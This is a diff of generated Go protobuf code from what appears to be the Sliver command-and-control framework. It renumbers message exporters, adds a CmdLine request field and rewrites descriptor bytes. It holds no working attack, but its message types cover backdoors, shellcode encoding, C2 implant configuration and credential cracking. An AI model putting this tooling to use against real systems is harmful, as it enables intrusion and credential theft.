file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BackdoorReq); i { case 0: return &v.state @@ -13972,7 +14607,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Backdoor); i { case 0: return &v.state @@ -13984,7 +14619,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state @@ -13996,7 +14631,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncode); i { case 0: return &v.state @@ -14008,7 +14643,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state @@ -14020,7 +14655,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state @@ -14032,7 +14667,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builders); i { case 0: return &v.state @@ -14044,7 +14679,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builder); i { case 0: return &v.state @@ -14056,7 +14691,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Configs); i { case 0: return &v.state @@ -14068,7 +14703,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*C2ProfileReq); i { case 0: return &v.state @@ -14080,7 +14715,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ConfigReq); i { case 0: return &v.state @@ -14092,7 +14727,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Config); i { case 0: return &v.state @@ -14104,7 +14739,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ServerConfig); i { case 0: return &v.state @@ -14116,7 +14751,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2ImplantConfig); i { case 0: return &v.state @@ -14128,7 +14763,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Cookie); i { case 0: return &v.state @@ -14140,7 +14775,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2Header); i { case 0: return &v.state @@ -14152,7 +14787,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2URLParameter); i { case 0: return &v.state @@ -14164,7 +14799,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPC2PathSegment); i { case 0: return &v.state @@ -14176,7 +14811,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credential); i { case 0: return &v.state @@ -14188,7 +14823,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credentials); i { case 0: return &v.state @@ -14200,7 +14835,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstations); i { case 0: return &v.state @@ -14212,7 +14847,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackstationStatus); i { case 0: return &v.state @@ -14224,7 +14859,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackSyncStatus); i { case 0: return &v.state @@ -14236,7 +14871,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackBenchmark); i { case 0: return &v.state @@ -14248,7 +14883,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackTask); i { case 0: return &v.state @@ -14260,7 +14895,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstation); i { case 0: return &v.state @@ -14272,7 +14907,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CUDABackendInfo); i { case 0: return &v.state @@ -14284,7 +14919,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state @@ -14296,7 +14931,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MetalBackendInfo); i { case 0: return &v.state @@ -14308,7 +14943,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackCommand); i { case 0: return &v.state @@ -14320,7 +14955,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackConfig); i { case 0: return &v.state @@ -14332,7 +14967,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFiles); i { case 0: return &v.state @@ -14344,7 +14979,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFile); i { case 0: return &v.state @@ -14356,7 +14991,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -14368,7 +15003,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MonitoringProviders); i { case 0: return &v.state @@ -14380,7 +15015,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MonitoringProvider); i { case 0: return &v.state @@ -14392,7 +15027,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ResourceID); i { case 0: return &v.state @@ -14411,7 +15046,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 13, - NumMessages: 129, + NumMessages: 135, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go index a43cdeb518..a71fdef459 100644 --- a/protobuf/commonpb/common.pb.go +++ b/protobuf/commonpb/common.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: commonpb/common.proto package commonpb @@ -64,10 +64,11 @@ type Request struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` - Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` - BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` + Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` + BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *Request) Reset() { @@ -130,6 +131,13 @@ func (x *Request) GetSessionID() string { return "" } +func (x *Request) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + // Response - Common fields used in all gRPC responses. Note that the Err field // // only used when the implant needs to return an error to the server. @@ -418,43 +426,45 @@ var File_commonpb_common_proto protoreflect.FileDescriptor var file_commonpb_common_proto_rawDesc = []byte{ 0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x73, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x54, - 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, - 0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, - 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, - 0x79, 0x6e, 0x63, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, - 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, - 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, - 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, - 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x8d, 0x01, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x66, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x61, + 0x73, 0x6b, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x61, 0x73, 0x6b, + 0x49, 0x44, 0x22, 0x2e, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x22, 0xc1, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, + 0x50, 0x70, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, + 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, + 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, + 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go index 1cf6752d8c..bf97c015d5 100644 --- a/protobuf/dnspb/dns.pb.go +++ b/protobuf/dnspb/dns.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: dnspb/dns.proto package dnspb diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index bfde3996b9..0e778186d6 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -31,671 +31,683 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xc6, 0x52, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0x87, 0x54, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 